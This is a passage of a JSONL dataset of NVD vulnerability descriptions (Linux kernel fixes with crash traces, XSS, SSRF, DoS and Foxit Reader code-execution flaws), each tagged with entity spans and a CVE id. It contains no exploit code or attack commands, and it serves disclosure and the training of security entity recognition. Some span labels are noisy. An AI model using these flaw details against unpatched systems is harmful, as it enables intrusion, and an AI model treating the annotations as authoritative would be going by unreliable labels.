full_proxy_read+0x8c/0x110\n     vfs_read+0xdc/0x3a0\n     ksys_read+0x84/0x144\n     system_call_exception+0x124/0x330\n     system_call_vectored_common+0x15c/0x2ec\n    --- interrupt: 3000 at 0x7fff81f3ab34\n\nCommit 6d07d1cd300f (\"usercopy: Restrict non-usercopy caches to size 0\")\nrequires that only whitelisted areas in slab/slub objects can be copied to\nuserspace when usercopy hardening is enabled using CONFIG_HARDENED_USERCOPY.\nDtl contains hypervisor dispatch events which are expected to be read by\nprivileged users. Hence mark this safe for user access.\nSpecify useroffset=0 and usersize=DISPATCH_LOG_BYTES to whitelist the\nentire object.", "spans": {"FILEPATH: /sys/kernel/debug/powerpc/dtl/cpu-": [[174, 208]], "FILEPATH: usercopy.c": [[319, 329]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[702, 705], [751, 754]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41065"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ses: Handle enclosure with just a primary component gracefully\n\nThis reverts commit 3fe97ff3d949 (\"scsi: ses: Don't attach if enclosure\nhas no components\") and introduces proper handling of case where there are\nno detected secondary components, but primary component (enumerated in\nnum_enclosures) does exist. That fix was originally proposed by Ding Hui\n<dinghui@sangfor.com.cn>.\n\nCompletely ignoring devices that have one primary enclosure and no\nsecondary one results in ses_intf_add() bailing completely\n\n\tscsi 2:0:0:254: enclosure has no enumerated components\n        scsi 2:0:0:254: Failed to bind enclosure -12ven in valid configurations such\n\neven on valid configurations with 1 primary and 0 secondary enclosures as\nbelow:\n\n\t# sg_ses /dev/sg0\n\t  3PARdata  SES               3321\n\tSupported diagnostic pages:\n\t  Supported Diagnostic Pages [sdp] [0x0]\n\t  Configuration (SES) [cf] [0x1]\n\t  Short Enclosure Status (SES) [ses] [0x8]\n\t# sg_ses -p cf /dev/sg0\n\t  3PARdata  SES               3321\n\tConfiguration diagnostic page:\n\t  number of secondary subenclosures: 0\n\t  generation code: 0x0\n\t  enclosure descriptor list\n\t    Subenclosure identifier: 0 [primary]\n\t      relative ES process id: 0, number of ES processes: 1\n\t      number of type descriptor headers: 1\n\t      enclosure logical identifier (hex): 20000002ac02068d\n\t      enclosure vendor: 3PARdata  product: VV                rev: 3321\n\t  type descriptor header and text list\n\t    Element type: Unspecified, subenclosure id: 0\n\t      number of possible elements: 1\n\nThe changelog for the original fix follows\n\n=====\nWe can get a crash when disconnecting the iSCSI session,\nthe call trace like this:\n\n  [ffff00002a00fb70] kfree at ffff00000830e224\n  [ffff00002a00fba0] ses_intf_remove at ffff000001f200e4\n  [ffff00002a00fbd0] device_del at ffff0000086b6a98\n  [ffff00002a00fc50] device_unregister at ffff0000086b6d58\n  [ffff00002a00fc70] __scsi_remove_device at ffff00000870608c\n  [ffff00002a00fca0] scsi_remove_device at ffff000008706134\n  [ffff00002a00fcc0] __scsi_remove_target at ffff0000087062e4\n  [ffff00002a00fd10] scsi_remove_target at ffff0000087064c0\n  [ffff00002a00fd70] __iscsi_unbind_session at ffff000001c872c4\n  [ffff00002a00fdb0] process_one_work at ffff00000810f35c\n  [ffff00002a00fe00] worker_thread at ffff00000810f648\n  [ffff00002a00fe70] kthread at ffff000008116e98\n\nIn ses_intf_add, components count could be 0, and kcalloc 0 size scomp,\nbut not saved in edev->component[i].scratch\n\nIn this situation, edev->component[0].scratch is an invalid pointer,\nwhen kfree it in ses_intf_remove_enclosure, a crash like above would happen\nThe call trace also could be other random cases when kfree cannot catch\nthe invalid pointer\n\nWe should not use edev->component[] array when the components count is 0\nWe also need check index when use edev->component[] array in\nses_enclosure_data_process\n=====", "spans": {"DOMAIN: sangfor.com": [[439, 450]], "FILEPATH: /dev/sg0": [[818, 826], [1028, 1036]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53431"}}
{"text": "Stored cross-site scripting (XSS) vulnerability in the Name of application field found in the General Configuration page in Rukovoditel 2.4.1 allows remote attackers to inject arbitrary web script or HTML via a crafted website name by doing an authenticated POST HTTP request to rukovoditel_2.4.1/install/index.php.", "spans": {"FILEPATH: /install/index.php.": [[296, 315]], "VULNERABILITY: cross-site scripting": [[7, 27]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-18470"}}
{"text": "A UI misrepresentation vulnerability was identified in GitHub Enterprise Server that allowed more permissions to be granted during a GitHub App's user-authorization web flow than was displayed to the user during approval. To exploit this vulnerability, an attacker would need to create a GitHub App on the instance and have a user authorize the application through the web authentication flow. All permissions being granted would properly be shown during the first authorization, but if the user later updated the set of repositories the app was installed on after the GitHub App had configured additional user-level permissions, those additional permissions would not be displayed, leading to more permissions being granted than the user potentially intended. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.3 and was fixed in versions 3.2.5, 3.1.13, 3.0.21. This vulnerability was reported via the GitHub Bug Bounty program.", "spans": {"ORGANIZATION: GitHub": [[55, 61], [133, 139], [288, 294], [569, 575], [805, 811], [932, 938]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41598"}}
{"text": "angular-server-side-configuration helps configure an angular application at runtime on the server or in a docker container via environment variables. angular-server-side-configuration detects used environment variables in TypeScript (.ts) files during build time of an Angular CLI project. The detected environment variables are written to a ngssc.json file in the output directory.\nDuring deployment of an Angular based app, the environment variables based on the variables from ngssc.json are inserted into the apps index.html (or defined index file). With version 15.0.0 the environment variable detection was widened to the entire project, relative to the angular.json file from the Angular CLI. In a monorepo setup, this could lead to environment variables intended for a backend/service to be detected and written to the ngssc.json, which would then be populated and exposed via index.html. This has NO IMPACT, in a plain Angular project that has no backend component. This vulnerability has been mitigated in version 15.1.0, by adding an option `searchPattern` which restricts the detection file range by default. As a workaround, manually edit or create ngssc.json or run script after ngssc.json generation.", "spans": {"FILEPATH: ngssc.json": [[342, 352], [480, 490], [827, 837], [1162, 1172], [1193, 1203]], "FILEPATH: index.html": [[518, 528], [885, 895]], "FILEPATH: angular.json": [[660, 672]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28444"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915: Avoid lock inversion when pinning to GGTT on CHV/BXT+VTD\n\nOn completion of i915_vma_pin_ww(), a synchronous variant of\ndma_fence_work_commit() is called.  When pinning a VMA to GGTT address\nspace on a Cherry View family processor, or on a Broxton generation SoC\nwith VTD enabled, i.e., when stop_machine() is then called from\nintel_ggtt_bind_vma(), that can potentially lead to lock inversion among\nreservation_ww and cpu_hotplug locks.\n\n[86.861179] ======================================================\n[86.861193] WARNING: possible circular locking dependency detected\n[86.861209] 6.15.0-rc5-CI_DRM_16515-gca0305cadc2d+ #1 Tainted: G     U\n[86.861226] ------------------------------------------------------\n[86.861238] i915_module_loa/1432 is trying to acquire lock:\n[86.861252] ffffffff83489090 (cpu_hotplug_lock){++++}-{0:0}, at: stop_machine+0x1c/0x50\n[86.861290]\nbut task is already holding lock:\n[86.861303] ffffc90002e0b4c8 (reservation_ww_class_mutex){+.+.}-{3:3}, at: i915_vma_pin.constprop.0+0x39/0x1d0 [i915]\n[86.862233]\nwhich lock already depends on the new lock.\n[86.862251]\nthe existing dependency chain (in reverse order) is:\n[86.862265]\n-> #5 (reservation_ww_class_mutex){+.+.}-{3:3}:\n[86.862292]        dma_resv_lockdep+0x19a/0x390\n[86.862315]        do_one_initcall+0x60/0x3f0\n[86.862334]        kernel_init_freeable+0x3cd/0x680\n[86.862353]        kernel_init+0x1b/0x200\n[86.862369]        ret_from_fork+0x47/0x70\n[86.862383]        ret_from_fork_asm+0x1a/0x30\n[86.862399]\n-> #4 (reservation_ww_class_acquire){+.+.}-{0:0}:\n[86.862425]        dma_resv_lockdep+0x178/0x390\n[86.862440]        do_one_initcall+0x60/0x3f0\n[86.862454]        kernel_init_freeable+0x3cd/0x680\n[86.862470]        kernel_init+0x1b/0x200\n[86.862482]        ret_from_fork+0x47/0x70\n[86.862495]        ret_from_fork_asm+0x1a/0x30\n[86.862509]\n-> #3 (&mm->mmap_lock){++++}-{3:3}:\n[86.862531]        down_read_killable+0x46/0x1e0\n[86.862546]        lock_mm_and_find_vma+0xa2/0x280\n[86.862561]        do_user_addr_fault+0x266/0x8e0\n[86.862578]        exc_page_fault+0x8a/0x2f0\n[86.862593]        asm_exc_page_fault+0x27/0x30\n[86.862607]        filldir64+0xeb/0x180\n[86.862620]        kernfs_fop_readdir+0x118/0x480\n[86.862635]        iterate_dir+0xcf/0x2b0\n[86.862648]        __x64_sys_getdents64+0x84/0x140\n[86.862661]        x64_sys_call+0x1058/0x2660\n[86.862675]        do_syscall_64+0x91/0xe90\n[86.862689]        entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[86.862703]\n-> #2 (&root->kernfs_rwsem){++++}-{3:3}:\n[86.862725]        down_write+0x3e/0xf0\n[86.862738]        kernfs_add_one+0x30/0x3c0\n[86.862751]        kernfs_create_dir_ns+0x53/0xb0\n[86.862765]        internal_create_group+0x134/0x4c0\n[86.862779]        sysfs_create_group+0x13/0x20\n[86.862792]        topology_add_dev+0x1d/0x30\n[86.862806]        cpuhp_invoke_callback+0x4b5/0x850\n[86.862822]        cpuhp_issue_call+0xbf/0x1f0\n[86.862836]        __cpuhp_setup_state_cpuslocked+0x111/0x320\n[86.862852]        __cpuhp_setup_state+0xb0/0x220\n[86.862866]        topology_sysfs_init+0x30/0x50\n[86.862879]        do_one_initcall+0x60/0x3f0\n[86.862893]        kernel_init_freeable+0x3cd/0x680\n[86.862908]        kernel_init+0x1b/0x200\n[86.862921]        ret_from_fork+0x47/0x70\n[86.862934]        ret_from_fork_asm+0x1a/0x30\n[86.862947]\n-> #1 (cpuhp_state_mutex){+.+.}-{3:3}:\n[86.862969]        __mutex_lock+0xaa/0xed0\n[86.862982]        mutex_lock_nested+0x1b/0x30\n[86.862995]        __cpuhp_setup_state_cpuslocked+0x67/0x320\n[86.863012]        __cpuhp_setup_state+0xb0/0x220\n[86.863026]        page_alloc_init_cpuhp+0x2d/0x60\n[86.863041]        mm_core_init+0x22/0x2d0\n[86.863054]        start_kernel+0x576/0xbd0\n[86.863068]        x86_64_start_reservations+0x18/0x30\n[86.863084]        x86_64_start_kernel+0xbf/0x110\n[86.863098]        common_startup_64+0x13e/0x141\n[86.863114]\n-> #0 (cpu_hotplug_lock){++++}-{0:0}:\n[86.863135]        __lock_acquire+0x16\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68244"}}
{"text": "An Improper Handling of Exceptional Conditions vulnerability on specific PTX Series devices, including the PTX1000, PTX3000 (NextGen), PTX5000, PTX10002-60C, PTX10008, and PTX10016 Series, in Juniper Networks Junos OS allows an unauthenticated MPLS-based attacker to cause a Denial of Service (DoS) by triggering the dcpfe process to crash and FPC to restart. On affected PTX Series devices, processing specific MPLS packets received on an interface with multiple units configured may cause FPC to restart unexpectedly. Continued receipt and processing of this packet will create a sustained Denial of Service (DoS) condition. This issue only affects PTX Series devices utilizing specific FPCs found on PTX1000, PTX3000 (NextGen), PTX5000, PTX10002-60C, PTX10008, and PTX10016 Series devices, only if multiple units are configured on the ingress interface, and at least one unit has 'family mpls' *not* configured. See the configuration sample below for more information. No other platforms are affected by this vulnerability. This issue affects: Juniper Networks Junos OS on PTX Series: All versions prior to 19.1R3-S9; 19.2 versions prior to 19.2R3-S6; 19.3 versions prior to 19.3R3-S6; 19.4 versions prior to 19.4R3-S8; 20.1 versions prior to 20.1R3-S4; 20.2 versions prior to 20.2R3-S5; 20.3 versions prior to 20.3R3-S4; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R3-S2; 21.2 versions prior to 21.2R3-S1; 21.3 versions prior to 21.3R3; 21.4 versions prior to 21.4R2; 22.1 versions prior to 22.1R2.", "spans": {"ORGANIZATION: Juniper": [[192, 199], [1047, 1054]], "VULNERABILITY: Denial of Service": [[275, 292], [592, 609]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22202"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Security). Supported versions that are affected are Java SE: 7u251, 8u241, 11.0.6 and 14; Java SE Embedded: 8u241. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.0 Base Score 3.7 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [137, 141], [175, 179], [324, 328], [333, 337], [481, 485], [490, 494], [557, 561], [617, 621], [659, 663], [775, 779], [816, 820]], "ORGANIZATION: Oracle": [[58, 64]], "VULNERABILITY: denial of service": [[446, 463]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2773"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnilfs2: fix general protection fault in nilfs_btree_insert()\n\nIf nilfs2 reads a corrupted disk image and tries to reads a b-tree node\nblock by calling __nilfs_btree_get_block() against an invalid virtual\nblock address, it returns -ENOENT because conversion of the virtual block\naddress to a disk block address fails.  However, this return value is the\nsame as the internal code that b-tree lookup routines return to indicate\nthat the block being searched does not exist, so functions that operate on\nthat b-tree may misbehave.\n\nWhen nilfs_btree_insert() receives this spurious 'not found' code from\nnilfs_btree_do_lookup(), it misunderstands that the 'not found' check was\nsuccessful and continues the insert operation using incomplete lookup path\ndata, causing the following crash:\n\n general protection fault, probably for non-canonical address\n 0xdffffc0000000005: 0000 [#1] PREEMPT SMP KASAN\n KASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f]\n ...\n RIP: 0010:nilfs_btree_get_nonroot_node fs/nilfs2/btree.c:418 [inline]\n RIP: 0010:nilfs_btree_prepare_insert fs/nilfs2/btree.c:1077 [inline]\n RIP: 0010:nilfs_btree_insert+0x6d3/0x1c10 fs/nilfs2/btree.c:1238\n Code: bc 24 80 00 00 00 4c 89 f8 48 c1 e8 03 42 80 3c 28 00 74 08 4c 89\n ff e8 4b 02 92 fe 4d 8b 3f 49 83 c7 28 4c 89 f8 48 c1 e8 03 <42> 80 3c\n 28 00 74 08 4c 89 ff e8 2e 02 92 fe 4d 8b 3f 49 83 c7 02\n ...\n Call Trace:\n <TASK>\n  nilfs_bmap_do_insert fs/nilfs2/bmap.c:121 [inline]\n  nilfs_bmap_insert+0x20d/0x360 fs/nilfs2/bmap.c:147\n  nilfs_get_block+0x414/0x8d0 fs/nilfs2/inode.c:101\n  __block_write_begin_int+0x54c/0x1a80 fs/buffer.c:1991\n  __block_write_begin fs/buffer.c:2041 [inline]\n  block_write_begin+0x93/0x1e0 fs/buffer.c:2102\n  nilfs_write_begin+0x9c/0x110 fs/nilfs2/inode.c:261\n  generic_perform_write+0x2e4/0x5e0 mm/filemap.c:3772\n  __generic_file_write_iter+0x176/0x400 mm/filemap.c:3900\n  generic_file_write_iter+0xab/0x310 mm/filemap.c:3932\n  call_write_iter include/linux/fs.h:2186 [inline]\n  new_sync_write fs/read_write.c:491 [inline]\n  vfs_write+0x7dc/0xc50 fs/read_write.c:584\n  ksys_write+0x177/0x2a0 fs/read_write.c:637\n  do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n  do_syscall_64+0x3d/0xb0 arch/x86/entry/common.c:80\n  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n ...\n </TASK>\n\nThis patch fixes the root cause of this problem by replacing the error\ncode that __nilfs_btree_get_block() returns on block address conversion\nfailure from -ENOENT to another internal code -EINVAL which means that the\nb-tree metadata is corrupted.\n\nBy returning -EINVAL, it propagates without glitches, and for all relevant\nb-tree operations, functions in the upper bmap layer output an error\nmessage indicating corrupted b-tree metadata via\nnilfs_bmap_convert_error(), and code -EIO will be eventually returned as\nit should be.", "spans": {"FILEPATH: /nilfs2/btree.c": [[1083, 1098], [1152, 1167], [1227, 1242]], "FILEPATH: /nilfs2/bmap.c": [[1502, 1516], [1564, 1578]], "FILEPATH: /nilfs2/inode.c": [[1615, 1630], [1820, 1835]], "FILEPATH: /linux/fs.h": [[2032, 2043]], "FILEPATH: /x86/entry/common.c": [[2214, 2233], [2276, 2295]], "FILEPATH: buffer.c": [[1677, 1685], [1716, 1724], [1773, 1781]], "FILEPATH: filemap.c": [[1879, 1888], [1937, 1946], [1992, 2001]], "FILEPATH: read_write.c": [[2078, 2090], [2131, 2143], [2176, 2188]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52900"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: scsi_debug: Fix out-of-bound read in resp_report_tgtpgs()\n\nThe following issue was observed running syzkaller:\n\nBUG: KASAN: slab-out-of-bounds in memcpy include/linux/string.h:377 [inline]\nBUG: KASAN: slab-out-of-bounds in sg_copy_buffer+0x150/0x1c0 lib/scatterlist.c:831\nRead of size 2132 at addr ffff8880aea95dc8 by task syz-executor.0/9815\n\nCPU: 0 PID: 9815 Comm: syz-executor.0 Not tainted 4.19.202-00874-gfc0fe04215a9 #2\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014\nCall Trace:\n __dump_stack lib/dump_stack.c:77 [inline]\n dump_stack+0xe4/0x14a lib/dump_stack.c:118\n print_address_description+0x73/0x280 mm/kasan/report.c:253\n kasan_report_error mm/kasan/report.c:352 [inline]\n kasan_report+0x272/0x370 mm/kasan/report.c:410\n memcpy+0x1f/0x50 mm/kasan/kasan.c:302\n memcpy include/linux/string.h:377 [inline]\n sg_copy_buffer+0x150/0x1c0 lib/scatterlist.c:831\n fill_from_dev_buffer+0x14f/0x340 drivers/scsi/scsi_debug.c:1021\n resp_report_tgtpgs+0x5aa/0x770 drivers/scsi/scsi_debug.c:1772\n schedule_resp+0x464/0x12f0 drivers/scsi/scsi_debug.c:4429\n scsi_debug_queuecommand+0x467/0x1390 drivers/scsi/scsi_debug.c:5835\n scsi_dispatch_cmd+0x3fc/0x9b0 drivers/scsi/scsi_lib.c:1896\n scsi_request_fn+0x1042/0x1810 drivers/scsi/scsi_lib.c:2034\n __blk_run_queue_uncond block/blk-core.c:464 [inline]\n __blk_run_queue+0x1a4/0x380 block/blk-core.c:484\n blk_execute_rq_nowait+0x1c2/0x2d0 block/blk-exec.c:78\n sg_common_write.isra.19+0xd74/0x1dc0 drivers/scsi/sg.c:847\n sg_write.part.23+0x6e0/0xd00 drivers/scsi/sg.c:716\n sg_write+0x64/0xa0 drivers/scsi/sg.c:622\n __vfs_write+0xed/0x690 fs/read_write.c:485\nkill_bdev:block_device:00000000e138492c\n vfs_write+0x184/0x4c0 fs/read_write.c:549\n ksys_write+0x107/0x240 fs/read_write.c:599\n do_syscall_64+0xc2/0x560 arch/x86/entry/common.c:293\n entry_SYSCALL_64_after_hwframe+0x49/0xbe\n\nWe get 'alen' from command its type is int. If userspace passes a large\nlength we will get a negative 'alen'.\n\nSwitch n, alen, and rlen to u32.", "spans": {"FILEPATH: /linux/string.h": [[235, 250], [900, 915]], "FILEPATH: /01/2014": [[579, 587]], "FILEPATH: /kasan/report.c": [[727, 742], [769, 784], [826, 841]], "FILEPATH: /kasan/kasan.c": [[866, 880]], "FILEPATH: /scsi/scsi_debug.c": [[1020, 1038], [1083, 1101], [1142, 1160], [1211, 1229]], "FILEPATH: /scsi/scsi_lib.c": [[1273, 1289], [1333, 1349]], "FILEPATH: /scsi/sg.c": [[1559, 1569], [1611, 1621], [1653, 1663]], "FILEPATH: /x86/entry/common.c": [[1869, 1888]], "FILEPATH: scatterlist.c": [[329, 342], [961, 974]], "FILEPATH: dump_stack.c": [[618, 630], [670, 682]], "FILEPATH: core.c": [[1389, 1395], [1448, 1454]], "FILEPATH: exec.c": [[1504, 1510]], "FILEPATH: read_write.c": [[1695, 1707], [1778, 1790], [1822, 1834]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[516, 520]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47219"}}
{"text": "Label Studio is an open source data labeling tool. Prior to version 1.16.0, Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3_endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination. The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages. This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services. Version 1.16.0 contains a patch for the issue.", "spans": {"ORGANIZATION: AWS": [[399, 402]], "VULNERABILITY: Server-Side Request Forgery": [[133, 160]], "VULNERABILITY: SSRF": [[162, 166], [856, 860]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-25297"}}
{"text": "Cross-site Scripting (XSS) vulnerability in the 'host' field of a discovered scan asset in Rapid7 Metasploit Pro allows an attacker with a specially-crafted network service of a scan target to store an XSS sequence in the Metasploit Pro console, which will trigger when the operator views the record of that scanned host in the Metasploit Pro interface. This issue affects Rapid7 Metasploit Pro version 4.17.1-20200427 and prior versions, and is fixed in Metasploit Pro version 4.17.1-20200514. See also CVE-2020-7355, which describes a similar issue, but involving the generated 'notes' field of a discovered scan asset.", "spans": {"CVE_ID: CVE-2020-7355": [[504, 517]], "ORGANIZATION: Rapid7": [[91, 97], [373, 379]], "VULNERABILITY: Cross-site Scripting": [[0, 20]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7354"}}
{"text": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Argo CD starting with version 0.4.0 and prior to 2.2.11, 2.3.6, and 2.4.5 is vulnerable to an improper certificate validation bug which could cause Argo CD to trust a malicious (or otherwise untrustworthy) OpenID Connect (OIDC) provider. A patch for this vulnerability has been released in Argo CD versions 2.4.5, 2.3.6, and 2.2.11. There are no complete workarounds, but a partial workaround is available. Those who use an external OIDC provider (not the bundled Dex instance), can mitigate the issue by setting the `oidc.config.rootCA` field in the `argocd-cm` ConfigMap. This mitigation only forces certificate validation when the API server handles login flows. It does not force certificate verification when verifying tokens on API calls.", "spans": {"SYSTEM: Kubernetes": [[62, 72]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31105"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ena: fix shift-out-of-bounds in exponential backoff\n\nThe ENA adapters on our instances occasionally reset.  Once recently\nlogged a UBSAN failure to console in the process:\n\n  UBSAN: shift-out-of-bounds in build/linux/drivers/net/ethernet/amazon/ena/ena_com.c:540:13\n  shift exponent 32 is too large for 32-bit type 'unsigned int'\n  CPU: 28 PID: 70012 Comm: kworker/u72:2 Kdump: loaded not tainted 5.15.117\n  Hardware name: Amazon EC2 c5d.9xlarge/, BIOS 1.0 10/16/2017\n  Workqueue: ena ena_fw_reset_device [ena]\n  Call Trace:\n  <TASK>\n  dump_stack_lvl+0x4a/0x63\n  dump_stack+0x10/0x16\n  ubsan_epilogue+0x9/0x36\n  __ubsan_handle_shift_out_of_bounds.cold+0x61/0x10e\n  ? __const_udelay+0x43/0x50\n  ena_delay_exponential_backoff_us.cold+0x16/0x1e [ena]\n  wait_for_reset_state+0x54/0xa0 [ena]\n  ena_com_dev_reset+0xc8/0x110 [ena]\n  ena_down+0x3fe/0x480 [ena]\n  ena_destroy_device+0xeb/0xf0 [ena]\n  ena_fw_reset_device+0x30/0x50 [ena]\n  process_one_work+0x22b/0x3d0\n  worker_thread+0x4d/0x3f0\n  ? process_one_work+0x3d0/0x3d0\n  kthread+0x12a/0x150\n  ? set_kthread_struct+0x50/0x50\n  ret_from_fork+0x22/0x30\n  </TASK>\n\nApparently, the reset delays are getting so large they can trigger a\nUBSAN panic.\n\nLooking at the code, the current timeout is capped at 5000us.  Using a\nbase value of 100us, the current code will overflow after (1<<29).  Even\nat values before 32, this function wraps around, perhaps\nunintentionally.\n\nCap the value of the exponent used for this backoff at (1<<16) which is\nlarger than currently necessary, but large enough to support bigger\nvalues in the future.", "spans": {"FILEPATH: /linux/drivers/net/ethernet/amazon/ena/ena_com.c": [[284, 332]], "FILEPATH: /16/2017": [[533, 541]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Amazon": [[497, 503]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53272"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a null pointer dereference by providing an invalid `permutation` to `tf.raw_ops.SparseMatrixSparseCholesky`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/kernels/sparse/sparse_cholesky_op.cc#L85-L86) fails to properly validate the input arguments. Although `ValidateInputs` is called and there are checks in the body of this function, the code proceeds to the next line in `ValidateInputs` since `OP_REQUIRES`(https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/framework/op_requires.h#L41-L48) is a macro that only exits the current function. Thus, the first validation condition that fails in `ValidateInputs` will cause an early return from that function. However, the caller will continue execution from the next line. The fix is to either explicitly check `context->status()` or to convert `ValidateInputs` to return a `Status`. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/kernels/sparse/sparse_cholesky_op.cc#L85-L86": [[239, 386]], "URL: https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/framework/op_requires.h#L41-L48": [[598, 732]], "VULNERABILITY: null pointer dereference": [[97, 121]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29530"}}
{"text": "This is an uncontrolled resource consumption vulnerability (CWE-400) that can lead to Denial of Service (DoS).\n\nIn vulnerable Undici versions, when interceptors.deduplicate() is enabled, response data for deduplicated requests could be accumulated in memory for downstream handlers. An attacker-controlled or untrusted upstream endpoint can exploit this with large/chunked responses and concurrent identical requests, causing high memory usage and potential OOM process termination.\n\nImpacted users are applications that use Undici’s deduplication interceptor against endpoints that may produce large or long-lived response bodies.\n\nPatchesThe issue has been patched by changing deduplication behavior to stream response chunks to downstream handlers as they arrive (instead of full-body accumulation), and by preventing late deduplication when body streaming has already started.\n\nUsers should upgrade to the first official Undici (and Node.js, where applicable) releases that include this patch.", "spans": {"FILEPATH: Node.js": [[937, 944]], "VULNERABILITY: uncontrolled resource consumption": [[11, 44]], "VULNERABILITY: Denial of Service": [[86, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-2581"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbcache: fixup btree_cache_wait list damage\n\nWe get a kernel crash about \"list_add corruption. next->prev should be\nprev (ffff9c801bc01210), but was ffff9c77b688237c.\n(next=ffffae586d8afe68).\"\n\ncrash> struct list_head 0xffff9c801bc01210\nstruct list_head {\n  next = 0xffffae586d8afe68,\n  prev = 0xffffae586d8afe68\n}\ncrash> struct list_head 0xffff9c77b688237c\nstruct list_head {\n  next = 0x0,\n  prev = 0x0\n}\ncrash> struct list_head 0xffffae586d8afe68\nstruct list_head struct: invalid kernel virtual address: ffffae586d8afe68  type: \"gdb_readmem_callback\"\nCannot access memory at address 0xffffae586d8afe68\n\n[230469.019492] Call Trace:\n[230469.032041]  prepare_to_wait+0x8a/0xb0\n[230469.044363]  ? bch_btree_keys_free+0x6c/0xc0 [escache]\n[230469.056533]  mca_cannibalize_lock+0x72/0x90 [escache]\n[230469.068788]  mca_alloc+0x2ae/0x450 [escache]\n[230469.080790]  bch_btree_node_get+0x136/0x2d0 [escache]\n[230469.092681]  bch_btree_check_thread+0x1e1/0x260 [escache]\n[230469.104382]  ? finish_wait+0x80/0x80\n[230469.115884]  ? bch_btree_check_recurse+0x1a0/0x1a0 [escache]\n[230469.127259]  kthread+0x112/0x130\n[230469.138448]  ? kthread_flush_work_fn+0x10/0x10\n[230469.149477]  ret_from_fork+0x35/0x40\n\nbch_btree_check_thread() and bch_dirty_init_thread() may call\nmca_cannibalize() to cannibalize other cached btree nodes. Only one thread\ncan do it at a time, so the op of other threads will be added to the\nbtree_cache_wait list.\n\nWe must call finish_wait() to remove op from btree_cache_wait before free\nit's memory address. Otherwise, the list will be damaged. Also should call\nbch_cannibalize_unlock() to release the btree_cache_alloc_lock and wake_up\nother waiters.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54293"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Reader 9.7.0.29455. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of JPEG2000 files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-9415.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8850"}}
